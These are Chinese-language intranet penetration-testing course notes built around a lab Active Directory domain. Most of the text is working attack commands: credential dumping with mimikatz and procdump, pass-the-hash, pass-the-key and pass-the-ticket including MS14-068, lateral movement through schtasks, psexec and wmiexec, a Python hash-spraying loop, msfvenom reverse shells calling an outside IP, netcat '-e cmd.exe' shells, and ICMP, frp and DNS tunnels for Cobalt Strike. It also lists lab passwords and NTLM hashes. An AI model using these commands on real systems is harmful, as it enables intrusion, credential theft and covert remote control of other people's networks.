基本信息收集操作演示
网络信息收集操作演示
用户信息收集操作演示
凭据信息收集操作演示
探针主机域控架构服务操作演示
案例 1-基本信息收集操作演示
旨在了解当前服务器的计算机基本信息,为后续判断服务器角色,网络环境等做准备
systeminfo 详细信息
net start 启动服务
tasklist 进程列表
schtasks 计划任务
案例 2-网络信息收集操作演示
旨在了解当前服务器的网络接口信息,为判断当前角色,功能,网络架构做准备
ipconfig /all 判断存在域-dns
net view /domain 判断存在域
net time /domain 判断主域
netstat -ano 当前网络端口开放
nslookup 域名 追踪来源地址
案例 3-用户信息收集操作演示
旨在了解当前计算机或域环境下的用户及用户组信息,便于后期利用凭据进行测试
系统默认常见用户身份:
Domain Admins:域管理员(默认对域控制器有完全控制权)
Domain Computers:域内机器
Domain Controllers:域控制器
Domain Guest:域访客,权限低
Domain Users:域用户
Enterprise Admins:企业系统管理员用户(默认对域控制器有完全控制权)
相关用户收集操作命令:
whoami /all 用户权限
net config workstation 登录信息
net user 本地用户
net localgroup 本地用户组
net user /domain 获取域用户信息
net group /domain 获取域用户组信息
wmic useraccount get /all 涉及域用户详细信息
net group "Domain Admins" /domain 查询域管理员账户
net group "Enterprise Admins" /domain 查询管理员用户组
net group "Domain Controllers" /domain 查询域控制器
案例 4-凭据信息收集操作演示
旨在收集各种密文,明文,口令等,为后续横向渗透做好测试准备
计算机用户 HASH,明文获取-mimikatz(win),mimipenguin(linux)
计算机各种协议服务口令获取-LaZagne(all),XenArmor(win)
Netsh WLAN show profiles
Netsh WLAN show profile name=“无线名称” key=clear
1.站点源码备份文件、数据库备份文件等
2.各类数据库 Web 管理入口,如 PHPMyAdmin
3.浏览器保存密码、浏览器 Cookies
4.其他用户会话、3389 和 ipc$连接记录、回收站内容
5.Windows 保存的 WIFI 密码
6.网络内部的各种帐号和密码,如:Email、VPN、FTP、OA 等
案例 5-探针主机域控架构服务操作演示
为后续横向思路做准备,针对应用,协议等各类攻击手法
探针域控制器名及地址信息
net time /domain nslookup ping
探针域内存活主机及地址信息
nbtscan 192.168.3.0/24 第三方工具
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL=" 自带内部命令
nmap masscan 第三方 PowerShell 脚本 nishang empire 等
导入模块 nishang
Import-Module .\nishang.psm1
设置执行策略
Set-ExecutionPolicy RemoteSigned
获取模块 nishang 的命令函数
Get-Command -Module nishang
获取常规计算机信息
Get-Information
端口扫描(查看目录对应文件有演示语法,其他同理)
Invoke-PortScan -StartAddress 192.168.3.0 -EndAddress 192.168.3.100 -ResolveHost -ScanPort
其他功能:删除补丁,反弹 Shell,凭据获取等
探针域内主机角色及服务信息
利用开放端口服务及计算机名判断
核心业务机器:
1.高级管理人员、系统管理员、财务/人事/业务人员的个人计算机
2.产品管理系统服务器
3.办公系统服务器
4.财务应用系统服务器
5.核心产品源码服务器(自建 SVN、GIT)
6.数据库服务器
7.文件或网盘服务器、共享服务器
8.电子邮件服务器
9.网络监控系统服务器
10.其他服务器(内部技术文档服务器、其他监控服务器等)
http://unixwiz.net/tools/nbtscan.html
https://github.com/samratashok/nishang
https://github.com/AlessandroZ/LaZagne 密码信息搜集
https://github.com/gentilkiwi/mimikatz/releases 内网渗神器
https://github.com/huntergregal/mimipenguin/releases/
https://nagareshwar.securityxploded.com/download-softwares/
https://xenarmor.com/allinone-password-recovery-pro-softwarel 花钱的密码搜索软件
https://pan.baidu.com/s/14eVDglqba1aRXi9BGcBbug 提取码:taqu
2008 r2 webserver
域内 web 服务器
本地管理员账号密码 :
.\administraotr:admin!@#45
当前机器域用户密码 :
god\webadmin:admin!@#45
2003 x86 fileserver
域内文件服务器
本地管理员账号密码 :
administrator : admin
当前机器域用户密码 :
god\fileadmin : Admin12345
2008 r2 x64 dc god.org
主域控机器
域管账号密码:
God\administrator : Admin12345
2012 sqlserver
域内数据库服务器
本地管理员账号密码 :
.\administrator:admin!@#45
当前机器域用户密码 :
god\dbadmin:admin!@#45
w7 x64 mary-pc
域内个人机
本地管理员账号密码 :
.\mary : admin
当前机器域用户密码 :
god\mary : admin!@#45
w8.1 x64 jack-pc
域内个人机
本地管理员账号密码 :
.\jack : admin
当前机器域用户密码 :
god\boss : Admin12345
横向渗透明文传递 at&schtasks
横向渗透明文 HASH 传递 impacket
横向渗透明文 HASH 传递批量利用-综合
横向渗透明文 HASH 传递批量利用-升级版
案例 1-横向渗透明文传递 at&schtasks
在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?
这里仅介绍 at&schtasks 命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。
获取到某域主机权限->minikatz 得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令
利用流程
net use \\server\ipc$"password" /user:username # 工作组
net use \\server\ipc$"password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除 IPC
net view xx.xx.xx.xx # 查看对方共享
建立 IPC 常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有防火墙等问题
(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
建立 IPC 失败的原因
(1)目标系统不是 NT 或以上的操作系统
(2)对方没有打开 IPC$共享
(3)对方未开启 139、445 端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
[at] & [schtasks]
at < Windows2012
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立 ipc 连接
copy add.bat \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\add.bat #添加计划任务
schtasks >=Windows2012
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立 ipc 连接:
copy add.bat \\192.168.3.32\c$ #复制文件到其 C 盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建 adduser 任务对应执行文件
schtasks /run /s 192.168.3.32 /tn adduser /i #运行 adduser 任务
schtasks /delete /s 192.168.3.21 /tn adduser /f#删除 adduser 任务
案例 2-横向渗透明文 HASH 传递 atexec-impacket
atexec.exe ./administrator:[email protected] "whoami"
atexec.exe god/administrator:[email protected] "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected] "whoami"
案例 3-横向渗透明文 HASH 传递批量利用-综合
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测 IP 对应明文连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测 IP 对应明文回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%[email protected] whoami #批量检测明文对应 IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./[email protected] whoami #批量检测HASH 对应 IP 回显版
案例 4-横向渗透明文 HASH 传递批量利用-升级版
https://gitee.com/RichChigga/impacket-examples-windows
知识点1:
Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
windows2012以下版本如安KB2871997补丁,同样也会导致无法获取明文密码针对以上情况,我们提供了4种方式解决此类问题
1.利用哈希hash传递(pth, ptk等)进行移动
2.利用其它服务协议(SMB,WMI等)进行哈希移动
3.利用注册表操作开启wdigest Auth值进行获取
4.利用工具或第三方平台(Hachcat)进行破解获取
知识点2:
windows系统LM Hash及NTLM Hash加密算法,个人系统在windows vista后,服务器系统在windows 2003以后,认证方式均为NTLM Hash。
注册表修改
reg add
HKLM\SYSTEM\CurrentControlSet \Control \SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
Procdump+Mimikatz 配合获取
Hashcat 破解获取 Windows NTML Hash
域横向移动 SMB 服务利用-psexec,smbexec
域横向移动 WMI 服务利用-cscript,wmiexec,wmic
域横向移动以上服务 hash 批量利用-python 编译 exe
案例 1-Procdump+Mimikatz 配合获取
procdump 配合 mimikatz
procdump -accepteula -ma lsass.exe lsass.dmp
mimikatz 上执行:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
#Pwdump7
#QuarksPwdump
hashcat -a0-m 1000hash file --force
案例 2-域横向移动 SMB 服务利用-psexec,smbexec(官方自带)
利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。
psexec 第一种:先有 ipc 链接,psexec 需要明文或 hash 传递
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd # 需要先有 ipc 链接 -s 以 System 权限运行
psexec 第二种:不用建立 IPC 直接提供明文账户密码
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :$HASH$ ./[email protected]
psexec -hashes :$HASH$ domain/[email protected]
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected] 官方 Pstools 无法采用 hash 连接
非官方自带-参考 impacket 工具包使用,操作简单,容易被杀
smbexec 无需先 ipc 链接 明文或 hash 传递
smbexec god/administrator:[email protected]
smbexec ./administrator:admin!@#[email protected]
smbexec -hashes :$HASH$ ./[email protected]
smbbexec -hashes :$HASH$ domain/[email protected]
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected]
smbexec -hashes :ccef208c6485269c20db2cad21734fe7god/[email protected]
案例 3-域横向移动 WMI 服务利用-cscript,wmiexec,wmic
WMI(Windows Management Instrumentation) 是通过 135 端口进行利用,支持用户名明文或者 hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
自带 WMIC 明文传递 无回显
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"
自带 cscript 明文传递 有回显
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本
wmiexec ./administrator:admin!@#[email protected] "whoami"
wmiexec god/administrator:[email protected] "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected] "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected] "whoami"
案例 4-域横向移动以上服务 hash 批量利用-python 编译 exe
#pyinstaller.exe -F fuck_neiwang_002.py
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.32'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}
hashs={
'ccef208c6485269c20db2cad21734fe7',
'518b98ad4178a53695dc997aa02d455c'
}
for ip in ips:
for user in users:
for mimahash in hashs:
#wmiexec -hashes :hashgod/user@ipwhoami
exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
print('--->' + exec + '<---')
os.system(exec)
time.sleep(0.5)
https://github.com/hashcat/hashcat
https://www.freebuf.com/sectool/164507.html
https://github.com/gentilkiwi/mimikatz/releases
https://github.com/SecureAuthCorp/impacket
https://gitee.com/RichChigga/impacket-examples-windows
https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
Kerberos 协议具体工作方法,在域中,简要介绍一下:
客户机将明文密码进行 NTLM 哈希,然后和时间戳一起加密(使用krbtgt 密码 hash 作为密钥),发送给 kdc(域控),kdc 对用户进行检测,成功之后创建 TGT(Ticket-Granting Ticket)
将 TGT 进行加密签名返回给客户机器,只有域用户 krbtgt 才能读取 kerberos 中 TGT 数据
然后客户机将 TGT 发送给域控制器 KDC 请求 TGS(票证授权服务)票证,并且对 TGT 进行检测
检测成功之后,将目标服务账户的 NTLM 以及 TGT 进行加密,将加密后的结果返回给客户机。
PTH(pass the hash) #利用 lm 或 ntlm 的值进行的渗透测试
PTT(pass the ticket) #利用的票据凭证 TGT 进行的渗透测试
PTK(pass the key) #利用的 ekeys aes256 进行的渗透测试
PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash访问远程主机或服务,而不用提供明文密码。
如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。对于 8.1/2012r2,安装补丁 kb2871997 的 Win 7/2008r2/8/2012 等,可以使用 AES keys代替 NT hash 来实现 ptk 攻击,
总结:KB2871997 补丁后的影响
pth:没打补丁用户都可以连接,打了补丁只能 administrator 连接
ptk:打了补丁才能用户都可以连接,采用 aes256 连接
https://www.freebuf.com/column/220740.html
PTT 攻击的部分就不是简单的 NTLM 认证了,它是利用 Kerberos 协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。
MS14-068 基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)
其中 Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术
MS14-068 造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780
域横向移动 PTH 传递-Mimikatz
域横向移动 PTK 传递-Mimikatz
域横向移动 PTT 传递-MS14068&kekeo&local
国产 Ladon 内网杀器测试验收-信息收集,连接等
案例 1-域横向移动 PTH 传递-mimikatz
PTH ntlm 传递
未打补丁下的工作组及域连接:
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c
sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
\\OWA2010CN-God.god.org
案例 2-域横向移动 PTK 传递-mimikatz
PTK aes256 传递
打补丁后的工作组及域连接
sekurlsa::ekeys #获取 aes
sekurlsa::pth /user:mary /domain:god
/aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
案例 3-域横向移动 PTT 传递-ms14068&kekeo&本地
第一种利用漏洞:能实现普通用户直接获取域控 system 权限
MS14-068 powershell 执行
1.查看当前 sid whoami/user
2.mimikatz # kerberos::purge
//清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
3.利用 ms14-068 生成 TGT 数据
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u [email protected] -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
4.票据注入内存
mimikatz.exe "kerberos::ptc [email protected]" exit
5.查看凭证列表 klist
6.利用
dir \\192.168.3.21\c$
第二种利用工具 kekeo
1.生成票据
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
2.导入票据
kerberos::ptt [email protected][email protected]
3.查看凭证 klist
4.利用 net use 载入
dir \\192.168.3.21\c$
第三种利用本地票据(需管理权限)
sekurlsa::tickets /export
kerberos::ptt xxxxxxxxxx.xxxx.kirbi
总结:ptt 传递不需本地管理员权限,连接时主机名连接,基于漏洞,工具,本地票据,信息收集-协议扫描-漏洞探针-传递攻击等
http://k8gege.org/
https://github.com/k8gege/Ladon 重要
https://github.com/gentilkiwi/kekeo/releases
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
域横向移动RDP传递-Mimikatz
域横向移动SPN服务-探针,请求,导出,破解,重写
域横向移动测试流程一把梭哈-CobaltStrike初体验
https://github.com/nidem/kerberoast
https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw提取码:xiao
https://github.com/pandasec888/taowu-cobalt-strike
https://pan.baidu.com/s/15DCt2Rzg5cZjXnEuUTgQ9Q提取码:dtm2
https://pan.baidu.com/s/14eVDglqba1aRXi9BGcBbug 提取码: taqu
https://github.com/DeEpinGh0st/Erebus
https://github.com/rsmudge/ElevateKit
https://github.com/harleyQu1nn/AggressorScripts
https://github.com/bluscreenofjeff/AggressorScripts
1.内外网简单知识
2.内网 1 和内网 2 通信问题
3.正向反向协议通信连接问题
4.内网穿透代理隧道技术说明
内网穿透 Ngrok 测试演示-两个内网通讯上线
内网穿透 Frp 自建跳板测试-两个内网通讯上线
CFS 三层内网漫游安全测试演练-某 CTF 线下 2019
案例 1-内网穿透 Ngrok 测试演示-两个内网通讯上线
实验环境:两个不同的内网(有网络)实现穿透控制
1.注册-购买-填写-确认 http://www.ngrok.cc/
协议:http 本地端口:192.168.76.132:4444
2.测试:内网 1 执行后门-免费主机处理-内网 2 监听-内网 2 接受器
./sunny clientid aa0676878c162ffc
msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcfengye.com lport=80 -f exe -o
test.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.76.132
set lport 4444
exploit
案例 2-内网穿透 Frp 自建跳板测试-两个内网通讯上线
自行搭建,方便修改,成本低,使用多样化,适合高富帅及隐私哥哥们
1.服务端-下载-解压-修改-启动(阿里云主机记得修改安全组配置出入口)
服务器修改配置文件 frps.ini:
[common]
bind_port = 6677
启动服务端:
./frps -c ./frps.ini
2.控制端-下载-解压-修改-启动
控制端修改配置文件 frpc.ini:
[common]
server_addr = 你的云主机 ip
server_port = 6677 #frpc 工作端口,必须和上面 frps 保持一致
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555 #转发给本机的 5555
remote_port = 6000 #服务端用 6000 端口转发给本机
启动客户端:
./frpc -c ./frpc.ini
msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.160.211 lport=6000 -f exe -o frp.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit
3.靶机运行 frp 即可
案例 3-CFS 三层内网漫游安全测试演练-某 CTF 线下 2019
来源 2019 某 CTF 线下赛真题内网结合 WEB 攻防题库,涉及 WEB 攻击,内网代理路由等技术,每台服务器存在一个 Flag,获取每一个 Flag 对应一个积分,获取三个 Flag 结尾。
Target1:
探针目标-利用 WEB 漏洞(TP5_RCE)-获取 webshell 权限-获取 Flag-Target2
1.生成后门:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132 LPORT=1111 -f elf >t1.elf
2.接受反弹:
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.76.132
set LPORT 1111
exploit
3.信息收集及配置访问
获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.22.0/24
开启本地代理:
use auxiliary/server/socks4a
set srvport 2222
exploit
4.利用本地代理接口访问测试
设置浏览器代理进行访问测试
linux:配置 proxychains 后调用工具探针 Target2
/etc/proxychains.conf
socks4 192.168.76.132 2222
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80
-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描 TCP 数据包已建立的连接 connect
windows:利用代理工具 Proxifier 或 SocksCap64 载入代理进行进程访问测试
Target2:
探针目标-利用 WEB 漏洞(SQL 注入)-后台获取 webshell 权限-获取 Flag-Target3
http://192.168.22.128/index.php?r=vul&keyword=1 #sql 注入
http://192.168.22.128/index.php?r=admini/public/login #后台
http://192.168.22.128/index.php?r=special #后门 shell
1.生成正向后门:
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf
2.访问接受:
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.128
set LPORT 3333
exploit
3.信息收集及配置访问
获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.33.0/24
http://www.ngrok.cc/
https://github.com/fatedier/frp/releases
1.代理和隧道技术区别?
2.隧道技术为了解决什么?
3.隧道技术前期的必备条件?
在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截CS、MSF 无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等。
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
常用的隧道技术有以下三种:
网络层:IPv6 隧道、ICMP 隧道
传输层:TCP 隧道、UDP 隧道、常规端口转发
应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道
网络传输应用层检测连通性-检测
网络层 ICMP 隧道 Ptunnel 使用-检测,利用
传输层转发隧道 Portmap 使用-检测,利用
传输层转发隧道 Netcat 使用-检测,利用,功能
应用层 DNS 隧道配合 CS 上线-检测,利用,说明
案例 1-网络传输应用层检测连通性-检测
1. TCP 协议
用“瑞士军刀”——netcat
执行 nc 命令:nc <端口>
2. HTTP 协议
用“curl”工具,执行 curl 命令。如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息
3. ICMP 协议
用“ping”命令,执行 ping
4. DNS 协议
检测 DNS 连通性常用的命令是“nslookup”和“dig”
nslookup 是 windows 自带的 DNS 探测命令
dig 是 linux 系统自带的 DNS 探测命令
案例 2-网络层 ICMP 隧道 ptunnel 使用-检测,利用
kali2020-Target2-Target3
pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具
-p ##表示连接 icmp 隧道另一端的机器 IP(即目标服务器)
-lp ##表示需要监听的本地 tcp 端口
-da ##指定需要转发的机器的 IP(即目标内网某一机器的内网 IP)
-dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口)
-x ##设置连接的密码
Webserver:./ptunnel -x xiaod
Hacker xiaodi:./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi #转发的 3389 请求数据给本地 1080
Hacker xiaodi:rdesktop 127.0.0.1 1080
老版本介绍:https://github.com/f1vefour/ptunnel(需自行编译)
新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发版)
案例 3-传输层转发隧道 Portmap 使用-检测,利用
windows: lcx
linux:portmap
lcx -slave 攻击 IP 3131 127.0.0.1 3389 //将本地 3389 给攻击 IP 的 3131
lcx -listen 3131 3333 //监听 3131 转发至 3333
案例 4-传输层转发隧道 Netcat 使用-检测,利用,功能
Kali2020-god\webserver-god\sqlserver|dc
1.双向连接反弹 shell
正向:攻击连接受害
受害:nc -ldp 1234 -e /bin/sh //linux
nc -ldp 1234 -e c:\windows\system32\cmd.exe //windows
攻击:nc 192.168.76.132 1234 //主动连接
反向:受害连接攻击
攻击:nc -lvp 1234
受害:nc 攻击主机 IP 1234 -e /bin/sh
nc 攻击主机 IP 1234 -e c:\windows\system32\cmd.exe
2.多向连接反弹 shell-配合转发
反向:
god\Webserver:Lcx.exe -listen 2222 3333
god\Sqlserver:nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe
kali 或本机:nc -v 192.168.76.143 3333
正向该怎么操作呢?实战中改怎么选择正向和反向?
3.相关 netcat 主要功能测试
指纹服务:nc -nv 192.168.76.143
端口扫描:nc -v -z 192.168.76.143 1-100
端口监听:nc -lvp xxxx
文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1
反弹 Shell:见上
案例 5
应用层 DNS 隧道配合 CS 上线-检测,利用,说明当常见协议监听器被拦截时,可以换其他协议上线,其中 dns 协议上线基本通杀
1.云主机 Teamserver 配置端口 53 启用-udp
2.买一个域名修改解析记录如下:
A 记录->cs 主机名->CS 服务器 IP
NS 记录->ns1 主机名->上个 A 记录地址
NS 记录->ns2 主机名->上个 A 记录地址
3.配置 DNS 监听器内容如下:
ns1.xiaodi8.com
ns2.xiaodi8.com
cs.xiaodi8.com
4.生成后门执行上线后启用命令:
beacon> checkin
[*] Tasked beacon to checkin
beacon> mode dns-txt
https://github.com/esrrhs/pingtunnel
MSF&CobaltStrike 联动 Shell
WEB 攻击应急响应朔源-后门,日志
WIN 系统攻击应急响应朔源-后门,日志,流量
临时给大家看看学的好的怎么干对应 CTF 比赛
https://www.onlinedown.net/soft/628964.htm
https://www.cnblogs.com/xiaozi/p/12679777.html
http://www.pc6.com/softview/SoftView_195167.html
https://github.com/EricZimmerman/AppCompatCacheParser/releases/